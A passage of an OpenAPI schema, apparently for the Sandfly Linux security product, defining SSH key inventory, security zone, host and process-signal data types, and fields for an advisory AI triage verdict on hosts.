key."},"key_type":{"$ref":"#/components/schemas/SshKeyTypes"},"hash":{"type":"object","required":["md5","sha1","sha256","sha512"],"properties":{"md5":{"type":"string","description":"MD5 hash of the public key value."},"sha1":{"type":"string","description":"SHA1 hash of the public key value."},"sha256":{"type":"string","description":"SHA256 hash of the public key value."},"sha512":{"type":"string","description":"SHA512 hash of the public key value."}}},"sha256_fingerprint":{"type":"string","description":"Standard SHA256 fingerprint representation for this public key."},"key_value":{"type":"string","description":"The public key."},"created_at":{"type":"string","format":"date-time","description":"Time when this key record was created in the Sandfly database."},"first_seen":{"type":"string","format":"date-time","nullable":true,"description":"Time when this key was first seen on a host during a scan. If a user directly added the key to Sandfly and it hasn't yet been found on any scanned host, the value will be null."},"last_seen":{"type":"string","format":"date-time","nullable":true,"description":"Time when this key was most recently seen on a host during a scan. If a user directly added the key to Sandfly and it hasn't yet been found on any scanned host, the value will be null."},"key_tags":{"$ref":"#/components/schemas/SshKeyTags"},"key_bits":{"type":"integer","description":"Number of bits in the key."},"key_parse_error":{"type":"boolean","description":"Flag indicating that the key data was unable to be parsed as a valid SSH public key."}}},"SshKeyTags":{"type":"array","description":"SSH key tags.","items":{"anyOf":[{"$ref":"#/components/schemas/SshKeyTag"},{"$ref":"#/components/schemas/SshKeyTagReserved"}]}},"SshKeyTag":{"description":"SSH Key Tag","type":"string","not":{"$ref":"#/components/schemas/SshKeyTagReserved"}},"SshKeyHostTagSummary":{"type":"object","description":"Aggregated host tag information for this key.","required":["host_tags_common","host_tags_all","key_tags"],"properties":{"host_tags_common":{"description":"The list of host tags that appear on 100% of the hosts this key was found on.","type":"array","items":{"type":"string"}},"host_tags_all":{"description":"The complete list of host tags that appear on hosts this key was found on.","type":"array","items":{"type":"string"}},"key_tags":{"description":"The tags on the key.","type":"array","items":{"type":"string"}}}},"SshHostsAndTags":{"type":"object","description":"Set of host IDs and their host tags","additionalProperties":{"type":"array","description":"List of host tags on this host","items":{"type":"string","description":"Host tag"}}},"SshKeysAndTags":{"type":"object","description":"Set of key IDs and their key tags","additionalProperties":{"type":"array","description":"List of key tags on this key","items":{"type":"string","description":"Key tag"}}},"SshKeyTagReserved":{"description":"Tags that hold special meaning and/or have special functionality","type":"string","enum":["Banned","Protected"]},"SshKeySummary":{"type":"object","description":"SSH key summary data.","allOf":[{"$ref":"#/components/schemas/SshKeyKeyData"}],"required":["num_hosts_with_alerts","num_hosts_current","num_users_current","num_hosts_total","num_users_total","hosts_deleted","has_duplicate_keys","host_tags_all","zone_violation_hosts","permitted_zones_count","permitted_zones_summary"],"properties":{"num_hosts_with_alerts":{"type":"integer","description":"Number of hosts with this key that have alerts."},"num_hosts_current":{"type":"integer","description":"Number of hosts that currently have this key."},"num_users_current":{"type":"integer","description":"Number of distinct usernames that currently have this key."},"num_hosts_total":{"type":"integer","description":"Total number of hosts that have ever had this key."},"num_users_total":{"type":"integer","description":"Total number of distinct usernames that have ever had this key."},"hosts_deleted":{"type":"boolean","description":"The hosts that had this key are no longer in the Sandfly database."},"has_duplicate_keys":{"type":"boolean","description":"One or more authorized_keys files with this key have duplicate entries for this key."},"host_tags_all":{"type":"array","items":{"type":"string"},"description":"All tags that appear on any host this key is associated with."},"zone_violation_hosts":{"type":"integer","description":"Number of hosts with this key that currently have an SSH Security Zone violation."},"permitted_zones_count":{"type":"integer","description":"Number of SSH Security Zones that permit this key to appear on hosts."},"permitted_zones_summary":{"type":"array","items":{"$ref":"#/components/schemas/SshZoneRef"},"description":"SSH Security Zones that permit this key to appear on hosts."}}},"SshZoneRef":{"type":"object","description":"Reference to an SSH Security Zone by ID and name.","required":["id","name"],"properties":{"id":{"type":"integer","description":"SSH Security Zone ID."},"name":{"type":"string","description":"SSH Security Zone name."}}},"SshKey":{"type":"object","required":["key_use_timeline","key_users","key_hosts","host_tags_common","key_zones"],"allOf":[{"$ref":"#/components/schemas/SshKeySummary"}],"properties":{"key_use_timeline":{"type":"array","items":{"$ref":"#/components/schemas/StandardTimeRangeDataPoint"}},"key_users":{"type":"array","items":{"$ref":"#/components/schemas/SshKeyUserDataPoint"}},"key_hosts":{"type":"array","items":{"$ref":"#/components/schemas/SshHostSummary"}},"host_tags_common":{"type":"array","items":{"type":"string"},"description":"Tags that appear on every host this key is associated with."},"key_zones":{"type":"array","description":"The list of SSH security zones which permit this key to appear on hosts and zones that this key was found in.","items":{"$ref":"#/components/schemas/SSHZoneSummaryWithPermittedFlag"}}}},"SshKeyUserDataPoint":{"required":["username","hosts_with_key","has_duplicate_keys","banned_key_violation"],"description":"Information about a user's SSH keys.","type":"object","properties":{"username":{"type":"string","description":"Username."},"hosts_with_key":{"type":"integer","description":"Number of hosts on which this user has the SSH key or keys."},"key_first_seen":{"type":"string","format":"date-time","description":"First time the SSH key associated with this user was seen."},"key_last_seen":{"type":"string","format":"date-time","description":"Most recent time the SSH key associated with this user was seen."},"has_duplicate_keys":{"type":"boolean","description":"The SSH key associated with this user has duplicate entries in an authorized_keys file."},"banned_key_violation":{"type":"boolean","description":"Indicates this user has a banned key."},"zone_violation_hosts":{"type":"integer","description":"The number of hosts on which this user has a key in violation of security zone policy."}}},"SshUserSummary":{"type":"object","required":["username","keys_current","keys_total","hosts_current","hosts_total","first_seen","last_seen","has_duplicate_keys","banned_key_violation","zone_violation_hosts"],"properties":{"username":{"type":"string","description":"Username."},"keys_current":{"type":"integer","description":"Number of keys this user currently has."},"keys_total":{"type":"integer","description":"Total number of keys that have been seen for this user."},"hosts_current":{"type":"integer","description":"Number of hosts on which this user currently has keys."},"hosts_total":{"type":"integer","description":"Total number of hosts this user has had keys on."},"first_seen":{"type":"string","format":"date-time","description":"First time keys associated with this user were seen."},"last_seen":{"type":"string","format":"date-time","description":"Most recent time keys associated with this user were seen."},"has_duplicate_keys":{"type":"boolean","description":"This user has duplicate key entries in an authorized_keys file."},"banned_key_violation":{"type":"boolean","description":"Indicates this user has a banned SSH key."},"zone_violation_hosts":{"type":"integer","description":"Number of hosts on which this user has a key in violation of the security zone policies covering the host."}}},"SshUser":{"type":"object","required":["hosts_timeline","hosts","username","keys_current","keys_total","hosts_current","hosts_total","first_seen","last_seen","has_duplicate_keys","banned_key_violation","zone_violation_hosts"],"properties":{"username":{"type":"string","description":"Username."},"keys_current":{"type":"integer","description":"Number of keys this user currently has."},"keys_total":{"type":"integer","description":"Total number of keys that have been seen for this user."},"hosts_current":{"type":"integer","description":"Number of hosts on which this user currently has keys."},"hosts_total":{"type":"integer","description":"Total number of hosts this user has had keys on."},"first_seen":{"type":"string","format":"date-time","description":"First time keys associated with this user were seen."},"last_seen":{"type":"string","format":"date-time","description":"Most recent time keys associated with this user were seen."},"has_duplicate_keys":{"type":"boolean","description":"This user has duplicate key entries in an authorized_keys file."},"hosts_timeline":{"type":"array","description":"Timeline over which this user was seen with keys on hosts.","items":{"$ref":"#/components/schemas/StandardTimeRangeDataPoint"}},"hosts":{"type":"array","description":"Hosts on which this user has keys.","items":{"type":"object","allOf":[{"$ref":"#/components/schemas/SshHostSummary"}],"properties":{"key_entries":{"type":"array","items":{"$ref":"#/components/schemas/SshKeyEntry"}}}}},"banned_key_violation":{"type":"boolean","description":"Indicates this user has a banned SSH key."},"zone_violation_hosts":{"type":"integer","description":"Number of hosts on which this user has keys that are in violation of an SSH security zone."}}},"SshGraphNodeType":{"type":"string","enum":["category","host","key","user"],"description":"Type of object this graph node represents."},"SshMode":{"enum":["key","host","user"],"type":"string"},"SshGraphType":{"$ref":"#/components/schemas/SshMode"},"SshGraphNode":{"type":"object","required":["node_id","entity_id","type","name","key_first_seen","key_last_seen","has_duplicate_keys","banned_key_violation","zone_violation"],"properties":{"node_id":{"type":"string","description":"Graph node ID; only meaningful in the context of this single request."},"entity_id":{"type":"string","description":"ID of the object this graph node represents"},"type":{"$ref":"#/components/schemas/SshGraphNodeType"},"name":{"type":"string","description":"Name of object this graph node represented."},"value":{"type":"integer","nullable":true,"description":"Numeric information about this graph node's object."},"value_label":{"type":"string","nullable":true,"description":"Display label to show with this node's value."},"value_help":{"type":"string","nullable":true,"description":"Help text further explaining this node's value."},"key_first_seen":{"type":"string","format":"date-time","description":"First time an SSH key associated with this object was seen."},"key_last_seen":{"type":"string","format":"date-time","description":"Most recent time an SSH key associated with this object was seen."},"parent_id":{"type":"string","nullable":true,"description":"Parent graph node ID."},"has_duplicate_keys":{"type":"boolean","description":"The object associated with this graph node has duplicate key entries."},"banned_key_violation":{"type":"boolean","description":"Indicates that this graph node, or one of its children, has a banned SSH key that is in use."},"zone_violation":{"type":"boolean","description":"Indicates that this graph node, or one of its children, has an SSH key that is on a host in violation of an SSH security zone policy."}}},"SshHostSummary":{"type":"object","description":"Host summary record.","allOf":[{"$ref":"#/components/schemas/SshHostSummaryHostInfo"},{"$ref":"#/components/schemas/SshHostSummarySSHInfo"}]},"SshHostSummaryHostInfo":{"type":"object","description":"Host attributes to provide context about the host on SSH response objects.","required":["host_id","host_sequence_id","target_address","node_name","last_seen_ip_addr","date_first_seen","date_last_seen","os_info_arch","os_info_machine","os_info_os_release_name","os_info_os_release_pretty_name","os_info_release","tags","results_alert","results_error","results_pass","results_total"],"properties":{"node_name":{"type":"string","description":"Hostname of host.","format":"int32"},"tags":{"type":"array","description":"A list of tags for this host.","items":{"type":"string"}},"host_id":{"type":"string","description":"Unique ID of the host this summary record is for."},"host_sequence_id":{"type":"integer","description":"Host sequence ID."},"target_address":{"type":"string"},"date_first_seen":{"type":"string","description":"Date and time this host was first seen.","format":"date-time"},"date_last_seen":{"type":"string","description":"Date and time this host was last seen.","format":"date-time"},"last_seen_ip_addr":{"type":"string","description":"IP address this host was last seen on."},"os_info_arch":{"type":"string","description":"OS architecture."},"os_info_machine":{"type":"string","description":"OS machine."},"os_info_os_release_name":{"type":"string","description":"OS release name."},"os_info_os_release_pretty_name":{"type":"string","description":"Human friendly OS release name."},"os_info_release":{"type":"string","description":"OS release."},"results_alert":{"type":"integer","description":"Number of current (not superseded) alert results on this host.","minimum":0},"results_error":{"type":"integer","description":"Number of current (not superseded) error results on this host.","minimum":0},"results_pass":{"type":"integer","description":"Number of current (not superseded) pass results on this host.","minimum":0},"results_total":{"type":"integer","description":"Number of current (not superseded) results on this host.","minimum":0}}},"SshHostSummarySSHInfo":{"type":"object","description":"SSH key attributes related to a host.","required":["users_with_key","has_duplicate_keys","banned_key_violation","zone_violation_keys"],"properties":{"users_with_key":{"type":"integer","description":"Total users with this key.","minimum":0,"nullable":true},"key_first_seen":{"type":"string","format":"date-time","description":"First time a key associated with this host was seen."},"key_last_seen":{"type":"string","format":"date-time","description":"Most recent time a key associated with this host was seen."},"users_current":{"type":"integer","minimum":0,"description":"Number of users on this host that currently have an SSH key."},"users_total":{"type":"integer","minimum":0,"description":"Number of all-time users on this host that have, or in the past have had, an SSH key."},"keys_current":{"type":"integer","minimum":0,"description":"Current number of SSH keys on this host."},"keys_total":{"type":"integer","minimum":0,"description":"Total number of SSH keys this host has had."},"has_duplicate_keys":{"type":"boolean","description":"Does this key appear more then once in the key file."},"banned_key_violation":{"type":"boolean","description":"Indicates the presence of a banned SSH key on this host."},"zone_violation_keys":{"type":"integer","description":"Number of keys on this host in violation of the SSH security zone policies covering this host."}}},"SshHostSummaryUsers":{"type":"object","required":["users_timeline","users"],"properties":{"users_timeline":{"description":"Timeline of users with keys on this host.","type":"array","items":{"$ref":"#/components/schemas/StandardTimeRangeDataPoint"}},"users":{"type":"array","items":{"type":"object","required":["username","first_seen","last_seen","has_duplicate_keys","zone_violation_hosts","banned_key_violation","key_entries"],"properties":{"username":{"type":"string","description":"Username."},"first_seen":{"type":"string","format":"date-time","description":"Time this user was first seen with an SSH key."},"last_seen":{"type":"string","format":"date-time","description":"Most recent time this user was seen with an SSH key."},"has_duplicate_keys":{"type":"boolean","description":"This username has duplicate authorized_key entries for a key."},"zone_violation_hosts":{"type":"integer","description":"Indicates the number of hosts on which the user has a key in violation of SSH security zones."},"banned_key_violation":{"type":"boolean","description":"Indicates this user has a banned key."},"key_entries":{"type":"array","items":{"$ref":"#/components/schemas/SshKeyEntry"}}}}}}},"SshHost":{"type":"object","description":"Host summary record.","allOf":[{"$ref":"#/components/schemas/SshHostSummary"},{"$ref":"#/components/schemas/SshHostSummaryUsers"}]},"SshHostKeyConfig":{"properties":{"host_key":{"type":"string"},"host_key_type":{"type":"string"},"warn_only":{"type":"boolean"}},"required":["host_key_type","host_key"],"type":"object"},"SshHostWithZones":{"type":"object","description":"Host summary record with zone membership list.","allOf":[{"$ref":"#/components/schemas/SshHost"}],"required":["zones"],"properties":{"zones":{"type":"array","items":{"$ref":"#/components/schemas/SSHZoneSummary"}}}},"SshKeysAdd":{"type":"object","required":["key_tags","keys"],"properties":{"key_tags":{"type":"array","description":"Tags to add to the new keys, or tags to append to existing keys if the key already exists.","items":{"type":"string"}},"keys":{"type":"string","description":"SSH public keys to add. This may be a multi-line, newline-separated list of keys. Each line may be a full authorized_keys entry, or it may just be the key itself. Blank lines and lines beginning with # are ignored, so existing authorized_key files may be easily used."}}},"SshKeyEntry":{"type":"object","required":["active","is_duplicate","entry_num","key_file","key_file_created","key_file_modified","options","comment","banned_key_violation","zone_violation"],"allOf":[{"$ref":"#/components/schemas/SshKeyKeyData"}],"properties":{"active":{"type":"boolean","description":"This key is currently in an authorized_keys file."},"is_duplicate":{"type":"boolean","description":"This key has duplicate entries."},"entry_num":{"type":"integer","description":"Which position in the authorized_keys file this key appears in."},"key_file":{"type":"string","format":"path","description":"File path of the authorized_keys file where this key appears."},"key_file_created":{"type":"string","format":"date-time","description":"Create time of the file in which this key appears."},"key_file_modified":{"type":"string","format":"date-time","description":"Modification time of the file in which this key appears."},"options":{"type":"string","description":"Key options."},"comment":{"type":"string","description":"Key comment."},"banned_key_violation":{"type":"boolean","description":"Indicates this is a banned key."},"zone_violation":{"type":"boolean","description":"This key entry is in violation of an SSH security zone covering the host that the key is found on."}}},"SSHZoneTagPolicies":{"type":"array","items":{"$ref":"#/components/schemas/SSHZoneTagPolicy"}},"SSHZoneTagPolicy":{"type":"object","properties":{"mode":{"type":"string","enum":["include","except"],"description":"The type of tag list this is: include items with the tag(s), or exclude items with the tag(s)."},"tags":{"type":"array","items":{"type":"string"},"description":"The tags that make up this policy."}},"required":["mode","tags"]},"SSHZoneSummary":{"readOnly":true,"type":"object","allOf":[{"$ref":"#/components/schemas/SSHZoneMetadata"}],"properties":{"name":{"type":"string","description":"Name of this SSH zone."},"description":{"type":"string","description":"Description for this SSH zone."},"hosts_count":{"type":"integer","description":"Number of hosts in this zone."},"permitted_keys_count":{"type":"integer","description":"The number of keys this zone allows on hosts."},"violation_host_count":{"type":"integer","description":"The number of hosts in this zone that current have one or more keys in violation of zone policies."},"banned_keys_count":{"type":"integer","description":"The number of banned key entries found on hosts in this zone."}},"required":["name","description","hosts_count","permitted_keys_count","violation_host_count","banned_keys_count"]},"SSHZoneSummaryWithPermittedFlag":{"readOnly":true,"allOf":[{"$ref":"#/components/schemas/SSHZoneSummary"}],"properties":{"key_permitted":{"type":"boolean","description":"Indicates if this key is permitted in this zone. If a zone is listed where the key is NOT permitted, it means that this key was found on a host in the zone in violation of the zone's policy; this key is the cause of a zone violation in that zone."}}},"SSHZoneMetadata":{"readOnly":true,"type":"object","properties":{"id":{"type":"integer","description":"Database-assigned ID of this SSH zone."},"create_date":{"type":"string","format":"date-time","description":"Date this SSH zone was created."},"modification_date":{"type":"string","format":"date-time","description":"Date this SSH zone was last modified."}},"required":["id","create_date","modification_date"]},"SSHZone":{"type":"object","readOnly":true,"allOf":[{"$ref":"#/components/schemas/SSHZoneSummary"}],"properties":{"host_policies":{"$ref":"#/components/schemas/SSHZoneTagPolicies"},"key_policies":{"$ref":"#/components/schemas/SSHZoneTagPolicies"},"included_hosts":{"type":"array","description":"Hosts that are included in this SSH zone.","items":{"$ref":"#/components/schemas/SSHZoneHostSummary"}},"included_keys":{"type":"array","description":"Keys that are included in this SSH zone.","items":{"$ref":"#/components/schemas/SSHZoneKeySummary"}}},"required":["host_policies","key_policies","included_hosts","included_keys"]},"SSHZoneConfiguration":{"type":"object","properties":{"name":{"type":"string","description":"Name of this SSH zone."},"description":{"type":"string","description":"Description for this SSH zone."},"host_policies":{"$ref":"#/components/schemas/SSHZoneTagPolicies"},"key_policies":{"$ref":"#/components/schemas/SSHZoneTagPolicies"}},"required":["name","description","host_policies","key_policies"]},"SSHZoneHostSummary":{"type":"object","required":["host_id","host_sequence_id","hostname","os_info_node","active","authentication_status","date_first_seen","date_last_seen","last_seen_ip_addr","tags","violation_key_count","banned_keys_count"],"properties":{"host_id":{"type":"string","description":"Host ID"},"host_sequence_id":{"type":"integer","description":"Host sequence ID"},"hostname":{"type":"string","description":"Host target address"},"os_info_node":{"type":"string","description":"Host node name"},"active":{"type":"boolean","description":"Is host active"},"authentication_status":{"type":"string","description":"Host authentication state"},"date_first_seen":{"type":"string","format":"date-time","description":"Date host was added to Sandfly"},"date_last_seen":{"type":"string","format":"date-time","description":"Date of last successful Sandfly scan"},"last_seen_ip_addr":{"type":"string","description":"Last seen host IP address"},"tags":{"type":"array","description":"Host tags","items":{"type":"string"}},"violation_key_count":{"type":"integer","description":"The number of keys on this host that are in violation of security zone policy."},"banned_keys_count":{"type":"integer","description":"The number of banned key entries found on this host."}}},"SSHZoneKeySummary":{"type":"object","required":["ssh_public_key_id","key_friendly_name","key_type","bits","first_seen","last_seen","key_tags","num_hosts_current","num_users_current"],"properties":{"ssh_public_key_id":{"type":"integer","description":"SSH key ID"},"key_friendly_name":{"type":"string","description":"Key friendly name"},"key_type":{"type":"string","description":"Key type"},"bits":{"type":"integer","description":"Key strength"},"first_seen":{"type":"string","format":"date-time","description":"Date Sandfly first saw this key","nullable":true},"last_seen":{"type":"string","format":"date-time","description":"Date Sandfly last saw this key","nullable":true},"key_tags":{"type":"array","description":"Key tags","items":{"type":"string"}},"num_hosts_current":{"type":"integer","description":"Number of hosts currently using this key."},"num_users_current":{"type":"integer","description":"Number of users currently using this key."}}},"OsSignal":{"type":"string","title":"OsSignal","description":"Findings about the host's overall configuration.","enum":["selinux-downgraded-at-runtime","no-mac-reported","clock-skew","security-relevant-taint","tmpfs-without-nosuid-nodev","mount-unreadable"],"x-enumDescriptions":{"selinux-downgraded-at-runtime":"SELinux was switched out of enforcing mode after boot, a common way to disable protection.","no-mac-reported":"Neither SELinux nor AppArmor is in use, so the host has no mandatory access control.","clock-skew":"The host clock is out of step, so timestamps from this host cannot be trusted.","security-relevant-taint":"A proprietary or force-loaded module has tainted the kernel.","tmpfs-without-nosuid-nodev":"A temporary filesystem allows privileged programs and device files.","mount-unreadable":"This mount could not be read, so its capacity is unknown rather than zero."},"x-enumSeverities":{"selinux-downgraded-at-runtime":5,"no-mac-reported":2,"clock-skew":5,"security-relevant-taint":5,"tmpfs-without-nosuid-nodev":2,"mount-unreadable":0}},"PaginatedData":{"properties":{"data":{"type":"object"},"more_results":{"description":"Indicates there are more pages of data for this query.","type":"boolean"}},"type":"object"},"ProcessLiveStateSignal":{"type":"string","title":"ProcessLiveStateSignal","description":"Findings about what a running process is doing right now.","enum":["listening-socket","established-connection","hidden-connection","pty-descriptor","daemonized","full-capabilities","rootless-full-capabilities","cgroup-unit"],"x-enumDescriptions":{"listening-socket":"The process is listening for incoming network connections.","established-connection":"The process has a live network connection to a remote host.","hidden-connection":"The process has a network connection that does not appear in the system's connection list.","pty-descriptor":"An interactive terminal is attached to the process.","daemonized":"The process detached itself to run as a background service.","full-capabilities":"The process holds every privilege, as any root process does.","rootless-full-capabilities":"A non-root process holds every privilege, giving it root's reach without being root.","cgroup-unit":"The systemd unit the process runs under."},"x-enumSeverities":{"listening-socket":2,"established-connection":2,"hidden-connection":5,"pty-descriptor":2,"daemonized":0,"full-capabilities":0,"rootless-full-capabilities":5,"cgroup-unit":0}},"ProcessNetworkProtocol":{"type":"string","title":"ProcessNetworkProtocol","description":"Network protocols a process can be using.","enum":["tcp","tcp6","udp","udp6","icmp","icmp6","raw","raw6","sctp"],"x-enumDescriptions":{"tcp":"TCP over IPv4.","tcp6":"TCP over IPv6.","udp":"UDP over IPv4.","udp6":"UDP over IPv6.","icmp":"ICMP over IPv4.","icmp6":"ICMP over IPv6.","raw":"Raw IPv4 sockets, used to craft or capture network packets.","raw6":"Raw IPv6 sockets, used to craft or capture network packets.","sctp":"SCTP, a protocol used mainly in telecom networks."},"x-enumSeverities":{"tcp":0,"tcp6":0,"udp":0,"udp6":0,"icmp":0,"icmp6":0,"raw":5,"raw6":5,"sctp":5}},"ProcessSignal":{"type":"string","title":"ProcessSignal","description":"Findings from a running process.","enum":["hidden-socket","sniffer","ld-preload","ptraced","setuid-transition","hidden-descriptor","raw-packet-socket","packet-socket","fileless-descriptor","ebpf-descriptor"],"x-enumDescriptions":{"hidden-socket":"The process holds a network connection hidden from the system's connection list, a strong rootkit signal.","sniffer":"The process is capturing network traffic off the wire.","ld-preload":"A preloaded library can intercept everything the process does.","ptraced":"A debugger is attached to the process.","setuid-transition":"The process is running with different privileges than the user who started it.","hidden-descriptor":"The process holds an open file that is hidden from normal listings.","raw-packet-socket":"The process can capture all network traffic on the host.","packet-socket":"The process holds a socket capable of capturing network traffic.","fileless-descriptor":"The process is running from a deleted or in-memory file, leaving nothing on disk.","ebpf-descriptor":"The process holds an eBPF object. Common for security and monitoring tools."},"x-enumSeverities":{"hidden-socket":5,"sniffer":5,"ld-preload":5,"ptraced":2,"setuid-transition":2,"hidden-descriptor":5,"raw-packet-socket":5,"packet-socket":3,"fileless-descriptor":5,"ebpf-descriptor":0}},"ProcessState":{"type":"string","title":"ProcessState","description":"The state a process is in, as reported by the kernel.","enum":["R","S","D","Z","T","t","X","x","I","K","W","P"],"x-enum-varnames":["RUNNING","SLEEPING","DISK_SLEEP","ZOMBIE","STOPPED","TRACING_STOP","DEAD","DEAD_LOWER","IDLE","WAKEKILL","WAKING","PARKED"],"x-enumDescriptions":{"R":"Running or ready to run.","S":"Sleeping, and can be woken.","D":"Sleeping on disk or device activity, and cannot be interrupted.","Z":"Finished, but not yet cleaned up by its parent.","T":"Stopped by a signal.","t":"Stopped by a debugger.","X":"Dead.","x":"Dead.","I":"An idle kernel thread.","K":"Waiting, and can be woken by a kill.","W":"Waking or paging.","P":"A parked kernel thread."}},"SandflyStatus":{"type":"string","enum":["ok","sandfly_inactive","missing_results"]},"Result":{"title":"Result","description":"Data returned from a sandfly.","type":"object","allOf":[{"$ref":"#/components/schemas/ResultCommon"},{"$ref":"#/components/schemas/ResultVariants"}]},"ResultDetail":{"title":"ResultDetail","description":"Extended result view that includes the full result JSON along with mutable status data such as the response action log.","type":"object","properties":{"id":{"description":"ID of the result.","type":"integer","format":"uint64"},"result":{"description":"The full result JSON.","$ref":"#/components/schemas/Result"},"response_action_log":{"description":"Response actions that have been performed against the artifact this result is about, ordered by most recent first. This includes actions requested through the artifact's other results and on the artifact directly. Empty array if none.","type":"array","items":{"$ref":"#/components/schemas/ResponseActionLogSummary"}}},"required":["sequence_id","result","response_action_log"]},"TriageState":{"description":"Status of the AI triage analysis.\n- `none`: nothing has judged this subject and nothing is queued to. The state every host and artifact starts in.\n- `queued`: waiting for its first verdict; `queue_position` and `queue_length` say where.\n- `running`: its first verdict is being formed now.\n- `ready`: a verdict is available.\n- `error`: the attempt failed; see `error_message`.\n- `skipped`: deliberately not judged automatically, because the host is excluded by the configured host tags. `brief` says why. A host that had a verdict before it was excluded loses it when a scan next brings it up; a verdict an operator asked for is kept. An excluded host can still be triaged on request, and an artifact on one can still be classified, so this is a state automatic work leaves behind rather than one a request produces. See the `exclude_host_tags` setting.\n\n`queued` and `running` are only reported for a subject with no record. A subject that has one and is queued again keeps its stored state and reports `queue_position` and `queue_length` beside it.","type":"string","enum":["none","queued","running","ready","error","skipped"]},"TriageVerdict":{"description":"The model's judgement, from least to most alarming.\n- `clean`: nothing of concern. Also what a host with no alerting artifacts is recorded as, without a model being consulted.\n- `likely_false_positive`: the alerts fired on things that are legitimate on this host, and nothing needs to change.\n- `needs_attention`: a real weakness that should be fixed, such as a weak or default password on an account, with no sign that anyone has used it.\n- `suspicious`: warrants a look.\n- `likely_malicious`: the evidence points at an intrusion.\n- `likely_compromised`: the host should be treated as compromised.\n\nThis is advisory. It never changes an artifact's alert status.","type":"string","enum":["clean","likely_false_positive","needs_attention","suspicious","likely_malicious","likely_compromised"]},"TriageConfidence":{"description":"How sure the model says it is. Reported with every verdict, because a low-confidence `clean` and a high-confidence one warrant different amounts of attention.","type":"string","enum":["low","medium","high"]},"TriageFinding":{"description":"The model's judgement on one group of related artifacts within a host verdict. Alerts that belong to one incident are grouped into one finding rather than reported separately.","type":"object","required":["artifact_ids","assessment","confidence"],"properties":{"artifact_ids":{"type":"array","description":"The artifacts this finding is about.","items":{"type":"integer","format":"int64"}},"artifact_keys":{"type":"array","description":"The same artifacts by their cross-host identity. It is what lets a verdict be reused on another host: the ids above are specific to one host, these are not. Set by the server, not by the model.","items":{"type":"string"}},"assessment":{"type":"string","description":"What these artifacts are, and why the model thinks so."},"confidence":{"$ref":"#/components/schemas/TriageConfidence"},"suggested_severity":{"description":"The severity the model gave these artifacts, 0-5, which is applied to them on this host. Absent where it offered no opinion, in which case the artifacts keep the severity their sandflies give them; note that 0 is a real severity and does not mean \"no opinion\". A new verdict for the host takes back what the previous one set before applying its own. An artifact carrying a classification of its own is neither steered by a finding nor taken back.","$ref":"#/components/schemas/SandflySeverity"},"reason":{"type":"string","description":"Why that severity rather than the one the artifacts have."},"recommended_action":{"type":"string","description":"What the operator should do about it."}}},"HostTriage":{"description":"The cached AI triage verdict for one host.\n\nVerdicts are formed automatically after a scan materially changes what is known about a host, and can also be requested. A verdict sets the severity of the host and of the artifacts it judged on that host, which is what reorders an operator's queue; it never changes an artifact's alert status, and everything it sets is reversible per artifact or per host.\n\nA host arriving in the identical situation to one already judged -- the same set of alerting findings on the same distribution family, with the rarest of them in the same range of cross-host spread -- reuses that host's verdict rather than being submitted; see `alert_fingerprint`, `spread_bucket` and `reused_from_host`. A situation has one current answer: when a model forms a fresh verdict for it, every host holding an older verdict for that situation takes up the new one without a submission, so a verdict can change without the host having changed.","type":"object","required":["host_sequence_id","state","stale","manual","brief","report","tags","skipped_scans","created_at","modified_at"],"properties":{"host_sequence_id":{"type":"integer","description":"The host this verdict is about."},"state":{"$ref":"#/components/schemas/TriageState"},"verdict":{"$ref":"#/components/schemas/TriageVerdict"},"confidence":{"$ref":"#/components/schemas/TriageConfidence"},"severity":{"type":"integer","description":"The model's rating for the host as a whole, 0-5, where 0 is no risk and 5 is near-certain compromise.\n\nAbsent when no verdict has set one, which is not the same as 0: absent means \"not judged\", and a client that ranks hosts should fall back to its own ranking for those rather than treating them as clean.","minimum":0,"maximum":5},"severity_withdrawn":{"type":"boolean","description":"Whether an operator has reverted the AI severities on this host, or on one of its artifacts, since this verdict was formed. `severity` is still what the model said, but the host's own severity no longer uses it: the host reports the severity of what is alerting until a new verdict is formed, which clears this. Absent when false."},"stale":{"type":"boolean","description":"Whether what is alerting on the host has changed since this verdict was formed, with no fresh verdict yet: an alert appeared, or one was whitelisted, deleted or resolved, and the model has not looked again. The verdict is still the last opinion formed and is reported as such; this says its words describe the host as it was. The host's own severity stops using the verdict's rating at the same moment, for the same reason, and the host list carries the same flag as `triage_stale`. Always present; false for a record with no verdict and for the `queued` and `none` shapes. Not set by an operator's revert, which `severity_withdrawn` reports."},"brief":{"type":"string","description":"One sentence, for a list. Also carries the reason when `state` is `skipped`."},"report":{"type":"string","description":"The written assessment, in Markdown."},"tags":{"type":"array","description":"Short labels for what kind of thing this is, e.g. `cryptominer`, `persistence`, `package-manager`.","items":{"type":"string"}},"findings":{"type":"array","description":"Per-incident judgements. Absent where the model grouped nothing.","items":{"$ref":"#/components/schemas/TriageFinding"}},"model":{"type":"string","description":"The model that produced the verdict.\n\nAbsent for a synthesized verdict: a host with no alerting artifacts is recorded as `clean` without a model being consulted, and the absence is how that is told apart from a model that looked and agreed."},"manual":{"type":"boolean","description":"Whether an operator asked for this verdict rather than a scan producing it. Always present.\n\nIt matters on a host that `exclude_host_tags` keeps out of automatic triage: such a host can still be triaged on request, and the verdict that comes back is left in place afterwards, where a verdict formed before the host was excluded is taken back the next time the host comes up. A verdict borrowed from another host is not the borrower's own request, so it reads false there whatever it read on the host it came from."},"payload_bytes":{"type":"integer","description":"The size of the document the model was given, in bytes. It can exceed the configured budget when the few worst alerts carry very large forensic payloads; see `max_payload_kb`."},"truncated":{"type":"boolean","description":"Whether the document was abridged to fit its size budget: alerts left out, alerts reduced to a summary line, or host context shortened. A truncated document always tells the model what it is not being shown."},"error_message":{"type":"string","description":"Why the attempt failed, when `state` is `error`."},"scan_run_id":{"type":"string","description":"The run id of the scan that queued the host for this verdict. Absent for a verdict requested by hand."},"skipped_scans":{"type":"integer","description":"How many chances to re-judge this host have been declined since this verdict was formed.\n\nA host scanned every hour whose verdict is a week old should show a large number here: it means the gates that keep the feature affordable are working. Reset to 0 whenever a verdict is written.\n\nUse it with `last_checked_at`, which moves on every declined chance, and `last_analyzed_at`, which moves only when a model was actually asked."},"last_skip_reason":{"type":"string","description":"Why the most recent chance was declined. Absent when no chance has been declined since the verdict was written.\n\nA host declined for `minimum interval not elapsed` or `daily limit reached` stays queued and is judged when the interval is up or the next UTC day begins, so the change that queued it is not lost. Both hold automatic work only; a request is judged when it reaches the front of the queue.\n\nAlso reported on the `queued` shape of a host with no record whose first verdict is being held, for the same reasons, so a host that is queued but not moving can say why.","enum":["no material change","payload unchanged","minimum interval not elapsed","daily limit reached","excluded by host tag"]},"alert_fingerprint":{"type":"string","description":"Identifies the situation this verdict answers for: a digest of the set of 